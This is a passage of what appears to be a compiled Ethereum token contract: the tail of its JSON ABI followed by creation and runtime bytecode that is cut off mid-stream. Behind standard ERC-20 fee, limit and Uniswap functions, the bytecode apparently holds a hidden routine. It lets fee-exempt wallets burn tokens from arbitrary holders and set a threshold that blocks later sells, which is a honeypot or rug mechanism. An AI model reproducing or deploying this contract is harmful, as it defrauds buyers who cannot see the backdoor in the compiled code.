internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"removeFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"removeFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040524360065560006007556011805463ffffffff191663010101011790553480156200002d57600080fd5b50604080518082018252600c8082526b21bcb137b933a23930b3b7b760a11b602080840182905284518086019095529184529083015290600362000072838262000874565b50600262000081828262000874565b5050506000620000966200046c60201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062003e17833981519152908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801562000139573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015f919062000940565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d3919062000940565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000221573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000247919062000940565b600880546001600160a01b0319166001600160a01b0392909216918217905533906200027590600162000470565b6008546200028e906001600160a01b03166001620004d3565b600b80546001600160a01b031990811673e5273af433f9cb6594e23335a94b5267b90336b817909155600c8054909116735ba6b5d589c25c95b05c66687976a60190da43211790556b033b2e3c9fd0803ce8000000612710620002f382600562000988565b620002ff9190620009a8565b600a556015819055601381905560148190556000601f819055602081905560218190556022819055601a819055601b819055601c819055601d81905580620003488180620009cb565b620003549190620009cb565b620003609190620009cb565b601955602154602054601f546022546200037b9190620009cb565b620003879190620009cb565b620003939190620009cb565b601e55620003a561dead600162000470565b600b54620003be906001600160a01b0316600162000470565b600c54620003d7906001600160a01b0316600162000470565b620003e482600162000470565b620003f130600162000470565b6200040061dead60016200053f565b600b5462000419906001600160a01b031660016200053f565b600c5462000432906001600160a01b031660016200053f565b6200043f8260016200053f565b6200044c3060016200053f565b6200045782620005ed565b620004638282620006ea565b505050620009e1565b3390565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152601660205260409020805460ff191682151517905562000503828262000470565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b031633146200058e5760405162461bcd60e51b8152602060048201819052602482015260008051602062003df783398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314620006385760405162461bcd60e51b8152602060048201819052602482015260008051602062003df7833981519152604482015260640162000585565b6001600160a01b0381166200069f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162000585565b6005546040516001600160a01b0380841692169060008051602062003e1783398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216620007425760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000585565b8060046000828254620007569190620009cb565b90915550506001600160a01b0382166000908152600160205260408120805483929062000785908490620009cb565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620007fa57607f821691505b6020821081036200081b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200086f57600081815260208120601f850160051c810160208610156200084a5750805b601f850160051c820191505b818110156200086b5782815560010162000856565b5050505b505050565b81516001600160401b03811115620008905762000890620007cf565b620008a881620008a18454620007e5565b8462000821565b602080601f831160018114620008e05760008415620008c75750858301515b600019600386901b1c1916600185901b1785556200086b565b600085815260208120601f198616915b828110156200091157888601518255948401946001909101908401620008f0565b5085821015620009305787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200095357600080fd5b81516001600160a01b03811681146200096b57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009a257620009a262000972565b92915050565b600082620009c657634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009a257620009a262000972565b61340680620009f16000396000f3fe6080604052600436106103c75760003560e01c806395d89b41116101f2578063cadd422c1161010d578063e2f45605116100a0578063f2bbf8d91161006f578063f2bbf8d914610ad3578063f2fde38b14610ae9578063fc7eb42d14610b09578063fd35d1d614610b1f57600080fd5b8063e2f4560514610a72578063e611bfdb14610a88578063e7ad9fcd14610a9e578063e884f26014610abe57600080fd5b8063d4384318116100dc578063d4384318146109e3578063dc3f0d0f146109f9578063dd62ed3e14610a19578063e086e5ec14610a5d57600080fd5b8063cadd422c14610981578063cd51e6d414610997578063d0a39814146109ad578063d257b34f146109c357600080fd5b8063abe43b1b11610185578063c18bc19511610154578063c18bc195146108f0578063c424134c14610910578063c5b45ec014610940578063c876d0b91461096057600080fd5b8063abe43b1b14610883578063b9e937001461089a578063bbc0c742146108b0578063c0246668146108d057600080fd5b8063a457c2d7116101c1578063a457c2d71461080d578063a9059cbb1461082d578063aa4bde281461084d578063aacebbe31461086357600080fd5b806395d89b41146107a25780639a7a23d6146107b75780639fccce32146107d7578063a41aaaf1146107ed57600080fd5b806359d24b8e116102e2578063751039fc1161027557806388e765ff1161024457806388e765ff146107435780638a8c523c146107595780638cf405551461076e5780638da5cb5b1461078457600080fd5b8063751039fc146106e25780637571336a146106f757806376c702bf14610717578063868f0a741461072d57600080fd5b80636eb490cf116102b15780636eb490cf1461066757806370a0823114610697578063715018a6146106b7578063737952e6146106cc57600080fd5b806359d24b8e146105ec57806366d602ae1461061c5780636b0a894c146106325780636ddd17131461064857600080fd5b806323b872dd1161035a5780633950935111610329578063395093511461057c578063437764991461059c57806349bd5a5e146105b25780634a62bb65146105d257600080fd5b806323b872dd146105005780632be32b61146105205780632e6ed7ef14610540578063313ce5671461056057600080fd5b80631816467f116103965780631816467f146104855780631a8145bb146104a75780631f3fed8f146104bd57806323b1e7a7146104d357600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780631694505e1461042e57806318160ddd1461046657600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b35565b6040516103f59190612fb6565b60405180910390f35b34801561040a57600080fd5b5061041e61041936600461301c565b610bc7565b60405190151581526020016103f5565b34801561043a57600080fd5b5060095461044e906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561047257600080fd5b506004545b6040519081526020016103f5565b34801561049157600080fd5b506104a56104a0366004613048565b610bde565b005b3480156104b357600080fd5b5061047760255481565b3480156104c957600080fd5b5061047760235481565b3480156104df57600080fd5b506104776104ee366004613048565b600d6020526000908152604090205481565b34801561050c57600080fd5b5061041e61051b366004613065565b610c89565b34801561052c57600080fd5b506104a561053b3660046130a6565b610d33565b34801561054c57600080fd5b506104a561055b3660046130bf565b610e40565b34801561056c57600080fd5b50604051601281526020016103f5565b34801561058857600080fd5b5061041e61059736600461301c565b610ee3565b3480156105a857600080fd5b50610477601b5481565b3480156105be57600080fd5b5060085461044e906001600160a01b031681565b3480156105de57600080fd5b5060115461041e9060ff1681565b3480156105f857600080fd5b5061041e610607366004613048565b600f6020526000908152604090205460ff1681565b34801561062857600080fd5b5061047760145481565b34801561063e57600080fd5b5061047760125481565b34801561065457600080fd5b5060115461041e90610100900460ff1681565b34801561067357600080fd5b5061041e610682366004613048565b60166020526000908152604090205460ff1681565b3480156106a357600080fd5b506104776106b2366004613048565b610f1d565b3480156106c357600080fd5b506104a5610f38565b3480156106d857600080fd5b50610477601f5481565b3480156106ee57600080fd5b506104a5610fac565b34801561070357600080fd5b506104a56107123660046130f1565b611013565b34801561072357600080fd5b50610477601a5481565b34801561073957600080fd5b5061047760205481565b34801561074f57600080fd5b5061047760135481565b34801561076557600080fd5b506104a56110db565b34801561077a57600080fd5b5061047760265481565b34801561079057600080fd5b506005546001600160a01b031661044e565b3480156107ae57600080fd5b506103e861119e565b3480156107c357600080fd5b506104a56107d23660046130f1565b6111ad565b3480156107e357600080fd5b5061047760245481565b3480156107f957600080fd5b506104a561080836600461312f565b6112a1565b34801561081957600080fd5b5061041e61082836600461301c565b6112f7565b34801561083957600080fd5b5061041e61084836600461301c565b61138e565b34801561085957600080fd5b5061047760155481565b34801561086f57600080fd5b506104a561087e366004613048565b61139b565b34801561088f57600080fd5b50600754431061041e565b3480156108a657600080fd5b5061047760195481565b3480156108bc57600080fd5b5060115461041e9062010000900460ff1681565b3480156108dc57600080fd5b506104a56108eb3660046130f1565b611449565b3480156108fc57600080fd5b506104a561090b3660046130a6565b6114d2565b34801561091c57600080fd5b5061041e61092b366004613048565b60186020526000908152604090205460ff1681565b34801561094c57600080fd5b506104a561095b366004613048565b6115db565b34801561096c57600080fd5b5060115461041e906301000000900460ff1681565b34801561098d57600080fd5b50610477601c5481565b3480156109a357600080fd5b5061047760065481565b3480156109b957600080fd5b50610477601e5481565b3480156109cf57600080fd5b506104a56109de3660046130a6565b611626565b3480156109ef57600080fd5b5061047760225481565b348015610a0557600080fd5b506104a5610a143660046130a6565b611771565b348015610a2557600080fd5b50610477610a34366004613164565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610a6957600080fd5b506104a5611878565b348015610a7e57600080fd5b50610477600a5481565b348015610a9457600080fd5b5061047760075481565b348015610aaa57600080fd5b506104a5610ab93660046130bf565b6118e4565b348015610aca57600080fd5b506104a5611984565b348015610adf57600080fd5b5061047760215481565b348015610af557600080fd5b506104a5610b04366004613048565b6119bd565b348015610b1557600080fd5b5061047760105481565b348015610b2b57600080fd5b50610477601d5481565b606060038054610b4490613192565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090613192565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611aa8565b5060015b92915050565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610c08906131cc565b60405180910390fd5b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c08565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c96848484611bcb565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610d195760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c08565b610d268533858403611aa8565b60019150505b9392505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e8610d7260045490565b610d7d906002613217565b610d87919061322e565b610d91919061322e565b811015610df25760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c08565b610e0481670de0b6b3a7640000613217565b60138190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b8152600401610c08906131cc565b601d839055601a849055601b829055601c8190558082610e8a8587613250565b610e949190613250565b610e9e9190613250565b601981905560031015610edd5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c08565b50505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610bd4918590610f18908690613250565b611aa8565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b03163314610f625760405162461bcd60e51b8152600401610c08906131cc565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fd65760405162461bcd60e51b8152600401610c08906131cc565b6004546013556004546014556004546015556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610c08906131cc565b806110b0576008546001600160a01b03908116908316036110b05760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c08565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146111055760405162461bcd60e51b8152600401610c08906131cc565b60115462010000900460ff161561115e5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c08565b6011805462ffff00191662010100179055436006556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060028054610b4490613192565b6005546001600160a01b031633146111d75760405162461bcd60e51b8152600401610c08906131cc565b6008546001600160a01b039081169083160361125b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c08565b6112658282612803565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b306112ab81610f1d565b600a5411156112b957600080fd5b6112c4848484612831565b15610edd576009805460ff60a01b1916600160a01b1790556112e46128cb565b6009805460ff60a01b1916905550505050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156113775760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c08565b6113843385858403611aa8565b5060019392505050565b6000610bd4338484611bcb565b6005546001600160a01b031633146113c55760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b0381166114275760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c08565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114735760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114fc5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e861151160045490565b61151c906003613217565b611526919061322e565b611530919061322e565b8110156115945760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c08565b6115a681670de0b6b3a7640000613217565b60158190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e35565b6005546001600160a01b031633146116055760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6005546001600160a01b031633146116505760405162461bcd60e51b8152600401610c08906131cc565b620186a061165d60045490565b611668906001613217565b611672919061322e565b8110156116df5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c08565b6103e86116eb60045490565b6116f6906001613217565b611700919061322e565b81111561176c5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c08565b600a55565b6005546001600160a01b0316331461179b5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e86117b060045490565b6117bb906002613217565b6117c5919061322e565b6117cf919061322e565b8110156118315760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c08565b61184381670de0b6b3a7640000613217565b60148190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e35565b6005546001600160a01b031633146118a25760405162461bcd60e51b8152600401610c08906131cc565b604051600090339047908381818185875af1925050503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610edd565b6005546001600160a01b0316331461190e5760405162461bcd60e51b8152600401610c08906131cc565b6022839055601f84905560208290556021819055808261192e8587613250565b6119389190613250565b6119429190613250565b601e81905560031015610edd5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c08565b6005546001600160a01b031633146119ae5760405162461bcd60e51b8152600401610c08906131cc565b6011805463ff00000019169055565b6005546001600160a01b031633146119e75760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038116611a4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c08565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c08565b6001600160a01b038216611b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c08565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038084166000908152601660209081526040808320549386168352600d909152812054429260ff1691901590611c0786610f1d565b1590506001600160a01b038716611c305760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038616611c565760405162461bcd60e51b8152600401610c08906132a8565b60008511611ca65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c08565b60115462010000900460ff16611d3a576001600160a01b03871660009081526017602052604090205460ff1680611cf557506001600160a01b03861660009081526017602052604090205460ff165b611d3a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c08565b60075415611de4576001600160a01b0387166000908152600f602052604090205460ff161580611d7757506005546001600160a01b038781169116145b80611d8c57506001600160a01b03861661dead145b611de45760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c08565b60115460ff1615612299576001600160a01b03871660009081526018602052604090205460095460ff91821691600160a01b9091041615611e2d6005546001600160a01b031690565b6001600160a01b0316896001600160a01b031614158015611e5c57506005546001600160a01b03898116911614155b8015611e7057506001600160a01b03881615155b8015611e8757506001600160a01b03881661dead14155b8015611eac57506001600160a01b03891660009081526017602052604090205460ff16155b8015611ed157506001600160a01b03881660009081526017602052604090205460ff16155b15612046576011546301000000900460ff1615612046576009546001600160a01b038a1660009081526016602052604081205460ff600160a01b90930483161592161590818015611f1f5750825b6009549091506001600160a01b038c8116911614801590611f4e57506008546001600160a01b038c8116911614155b1561201157611f5e6002436132eb565b326000908152600e6020526040902054108015611f9c5750611f816002436132eb565b6001600160a01b038c166000908152600e6020526040902054105b611fe85760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c08565b326000908152600e602052604080822043908190556001600160a01b038e168352912055612042565b8015612042576001600160a01b038c166000908152600d602052604090205460105481118061203f57600080fd5b50505b5050505b6001600160a01b03891660009081526016602052604090205460ff16801561208757506001600160a01b03881660009081526018602052604090205460ff16155b15612153576013548711156120ef5760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c08565b6015546120fb89610f1d565b6121059089613250565b111561214e5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b612296565b80801561215d5750815b1561216c576010869055612296565b6001600160a01b03881660009081526016602052604090205460ff1680156121ad57506001600160a01b03891660009081526018602052604090205460ff16155b156122175760145487111561214e5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c08565b6001600160a01b03881660009081526018602052604090205460ff166122965760155461224389610f1d565b61224d9089613250565b11156122965760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b50505b60006122a430610f1d565b600a54909150811080159081906122c25750601154610100900460ff165b80156122d85750600954600160a01b900460ff16155b80156122fd57506001600160a01b03891660009081526016602052604090205460ff16155b801561232257506001600160a01b03891660009081526017602052604090205460ff16155b801561234757506001600160a01b03881660009081526017602052604090205460ff16155b15612375576009805460ff60a01b1916600160a01b1790556123676128cb565b6009805460ff60a01b191690555b60018480156123815750855b156123a85783156123a8576001600160a01b0389166000908152600d602052604090208790555b6001600160a01b038a1660009081526017602052604090205460ff16806123e757506001600160a01b03891660009081526017602052604090205460ff165b156123f0575060005b600081156127eb576007544310801561242157506001600160a01b038b1660009081526016602052604090205460ff165b801561244657506001600160a01b038a1660009081526016602052604090205460ff16155b801561245457506000601954115b156125d4576001600160a01b038a166000908152600f602052604090205460ff166124f4576001600160a01b038a166000908152600f60205260408120805460ff1916600190811790915560128054919290916124b2908490613250565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646125018a6063613217565b61250b919061322e565b9050601954601d548261251e9190613217565b612528919061322e565b602560008282546125399190613250565b9091555050601954601a5461254e9083613217565b612558919061322e565b602360008282546125699190613250565b9091555050601954601b5461257e9083613217565b612588919061322e565b602460008282546125999190613250565b9091555050601954601c546125ae9083613217565b6125b8919061322e565b602660008282546125c99190613250565b909155506127cd9050565b6001600160a01b038a1660009081526016602052604090205460ff1680156125fe57506000601e54115b156126c0576064601e548a6126139190613217565b61261d919061322e565b9050601e54602254826126309190613217565b61263a919061322e565b6025600082825461264b9190613250565b9091555050601e54601f546126609083613217565b61266a919061322e565b6023600082825461267b9190613250565b9091555050601e546020546126909083613217565b61269a919061322e565b602460008282546126ab9190613250565b9091555050601e546021546125ae9083613217565b6001600160a01b038b1660009081526016602052604090205460ff1680156126ea57506000601954115b156127cd5760646019548a6126ff9190613217565b612709919061322e565b9050601954601d548261271c9190613217565b612726919061322e565b602560008282546127379190613250565b9091555050601954601a5461274c9083613217565b612756919061322e565b602360008282546127679190613250565b9091555050601954601b5461277c9083613217565b612786919061322e565b602460008282546127979190613250565b9091555050601954601c546127ac9083613217565b6127b6919061322e565b602660008282546127c79190613250565b90915550505b80156127de576127de8b3083612ad1565b6127e8818a6132eb565b98505b6127f68b8b8b612ad1565b5050505050505050505050565b6001600160a01b0382166000908152601660205260409020805460ff19168215151790556112658282612c26565b3360008181526017602052604081205490919060ff163083821561288b57600061285a83610f1d565b1115612880578660000361287257601086905561287c565b61287c8888612c89565b5060005b9350610d2c92505050565b60265461289783610f1d565b101580156128a757506000602654115b156128b8576128b884602654612c89565b505060006026555060019150610d2c9050565b60006026541180156128e757506026546128e430610f1d565b10155b156128f8576128f830602654612c89565b6000602681905561290830610f1d565b9050600060245460235460255461291f9190613250565b6129299190613250565b9050811580612936575080155b1561293f575050565b600a805461294c91613217565b82111561296357600a805461296091613217565b91505b6000600282602554856129769190613217565b612980919061322e565b61298a919061322e565b905061299e61299982856132eb565b612daa565b602554479081906000906129b49060029061322e565b6129be90866132eb565b6023546129cb9085613217565b6129d5919061322e565b9050600060026025546129e8919061322e565b6129f290876132eb565b6024546129ff9086613217565b612a09919061322e565b9050612a158183613250565b612a1f90846132eb565b600060258190556023819055602481905560265592508415801590612a445750600083115b15612a5357612a538584612f04565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a8d573d6000803e3d6000fd5b50600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612ac7573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612af75760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038216612b1d5760405162461bcd60e51b8152600401610c08906132a8565b6001600160a01b03831660009081526001602052604090205481811015612b955760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c08565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612bcc908490613250565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c1891815260200190565b60405180910390a350505050565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612cdf5760405162461bcd60e51b815260206004820152601760248201527f45524332303a20746865207a65726f20616464726573730000000000000000006044820152606401610c08565b6001600160a01b03821660009081526001602052604090205481811015612d525760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074686520616d6f756e7420657863656564732062616c616e636044820152606560f81b6064820152608401610c08565b6001600160a01b03831660008181526001602090815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bbe565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612ddf57612ddf6132fe565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612e38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e5c9190613314565b81600181518110612e6f57612e6f6132fe565b6001600160a01b039283166020918202929092010152600954612e959130911684611aa8565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790612ece908590600090869030904290600401613331565b600060405180830381600087803b158015612ee857600080fd5b505af1158015612efc573d6000803e3d6000fd5b505050505050565b600954612f1c9030906001600160a01b031684611aa8565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612f8a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612faf91906133a2565b5050505050565b600060208083528351808285015260005b81811015612fe357858101830151858201604001528201612fc7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461301957600080fd5b50565b6000806040838503121561302f57600080fd5b823561303a81613004565b946020939093013593505050565b60006020828403121561305a57600080fd5b8135610d2c81613004565b60008060006060848603121561307a57600080fd5b